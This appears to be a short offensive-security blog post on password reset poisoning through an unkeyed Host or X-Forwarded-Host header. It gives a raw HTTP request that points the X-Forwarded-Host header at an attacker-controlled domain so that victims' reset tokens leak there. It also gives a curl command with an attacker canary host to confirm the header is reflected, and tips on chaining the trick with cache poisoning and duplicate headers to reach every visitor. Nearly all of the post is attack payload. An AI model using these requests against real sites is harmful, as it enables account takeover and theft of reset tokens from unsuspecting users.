Password reset poisoning via unkeyed Host header

May 13, 2026 · 1 min read

When the app trusts the Host or X-Forwarded-Host header to build absolute URLs, a password reset link can point at your domain, leaking the token when the victim clicks.

http

POST /reset HTTP/1.1
Host: target
X-Forwarded-Host: attacker.tld

[email protected]    -> email link becomes https://attacker.tld/reset?token=...

Even without email, if that reflected header lands in a cached response you get stored redirection for every visitor.

bash

# confirm the header is reflected and unkeyed
curl -s https://target/ -H 'X-Forwarded-Host: canary.attacker.tld' | grep canary

Pro note: chain with cache poisoning to widen impact from one victim to all. Watch for dual headers (Host plus Forwarded); some frameworks prefer the last one, so send both and observe which wins.